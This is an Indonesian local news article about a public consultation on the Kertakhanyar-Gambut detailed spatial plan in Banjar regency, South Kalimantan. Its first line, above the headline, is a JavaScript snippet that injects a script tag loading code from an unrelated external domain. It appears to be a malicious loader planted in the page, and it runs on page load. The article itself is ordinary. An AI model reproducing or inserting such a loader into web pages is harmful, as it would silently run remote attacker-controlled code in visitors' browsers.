(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Banjar

Serap Masukan Rencana Detail Tata Ruang Kertakhanyar-Gambut, PUPRP Banjar Gelar Konsultasi Publik Kedua


KANALKALIMANTAN.COM, MARTAPURA – Dinas Pekerjaan Umum, Penataan Ruang dan Pertanahan (PUPRP) Kabupaten Banjar menggelar pertemuan atau konsultasi publik bersama sejumlah instansi terkait dan kepal desa di Kecamatan Kertakhanyar dan Gambut Kabupaten Banjar, Jumat (13/12/2024).

Konsultasi publik peninjauan kembali terkait Rencana Detail Tata Ruang (RDTR) wilayah perkotaan Kertakhanyar-Gambut.

Kegiatan yang digelar di Tree Park Hotel Jalan A Yani, Kertakhanyar itu dibuka oleh Kepala Dinas PUPRT Banjar melalui Sekretaris Gusti Abu Bakar ST MT.

Sementara pemaparan materi diskusi disampaikan Kabid Tata Ruang PUPRT Banjar dan tim penyusun RDTR Kertakhanyar – Gambut.

Baca juga: Koordinator Posko Tim Banjarbaru Hanyar Diancam Dihabisi, Dikirimi Dua Surat Kaleng

Hadir dalam kegiatan perwakilan dari Kantor Pertanahan Kabupaten Banjar, Dinas Perumahan Rakyat dan Pemukiman, Bapalitbangda, DPMPTSP, perwakilan Kecamatan Gambut dan Kertak Hanyar, serta para Kades dan Lurah.

Acara ditutup penandatanganan berita acara konsultasi publik 2 peninjauan kembali RDTR.

Sekretaris PUPRT Kalsel H Gusti Abu Bakar ST MT mengatakan, konsultasi publik ini merupakan yang kedua kali dilaksanakan untuk perencanaan tata ruang wilayah perkotaan di dua kecamatan itu.

Baca juga: Serahkan Eco Office Eco School Award 2024, Ini Kata Wali Kota Aditya 

“Kita mencari aspirasi masyarakat sehubungan dengan pemanfaatan ruang dua kecamatan ini, dalam rangka pembangunan berkelanjutan,” ujar Gusti disela kegiatan.

Dia menyebutkan RDTR Kertakhanyar-Gambut yang masih dalam proses kajian nantinya diajukan ke Kementerian Agraria dan Tata Ruang / Badan Pertahanan Nasional (ATR-BPN).

Abu menegaskan bahwa RDTR harus berkesesuaian dengan RTRW (Rencana Tata Ruang Wilayah), sehingga diperlukan diskusi agar tercipta sinkronisasi antara dua kebijakan tersebut.

Baca juga: Pemerintah Kabupaten Banjar Gelar Sosialisasi Core Values ASN BerAKHLAK

“Kita menyesuaikan dengan RTRW kabupaten dan juga provinsi,” pungkas dia.
(Kanalkalimantan.com/Rizki)

Reporter: rizki
Editor: Dhani


Risa

Recent Posts

Habib Idrus Buka Rakor TPPS Kabupaten Banjar

KANALKALIMANTAN.COM, BANJARBARU - Rapat Koordinasi (Rakor) Tim Percepatan Penurunan Stunting (TPPS) dilaksanakan oleh Pemerintah Kabupaten… Read More

2 jam ago

Melati Sekumpul Juara I Gebyar Pemberdayaan Masyarakat Desa

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kabupaten Banjar menggelar Gebyar Pemberdayaan Masyarakat Desa, Kamis (12/12/2024) siang di… Read More

2 jam ago

RSD Idaman Raih Peringkat 1 Eco-Office Award 2024

KANALKALIMANTAN.COM, BANJARBARU - Rumah Sakit Daerah (RSD) Idaman Banjarbaru berhasil meraih peringkat satu penghargaan Eco… Read More

7 jam ago

Kadishub Balangan Cek Lapangan Pemasangan PJU

KANALKALIMANTAN.COM, PARINGIN - Memastikan pemasangan dan kondisi lampu Penerangan Jalan Umum (PJU) berjalan dengan baik,… Read More

7 jam ago

Dialog Akhir Tahun 2024, Pemko Banjarbaru Terima Masukan dan Kritik

KANALKALIMANTAN.COM, BANJARBARU - Wali Kota dan Wakil Wali Kota Banjarbaru menyatukan suara bersama masyarakat Kota… Read More

8 jam ago

Serahkan Eco Office Eco School Award 2024, Ini Kata Wali Kota Aditya

KANALKALIMANTAN.COM, BANJARBARU - Bentuk apresiasi menjaga kelestarian lingkungan, kebersihan, dan pengelolaan sampah yang baik, Pemerintah… Read More

8 jam ago

This website uses cookies.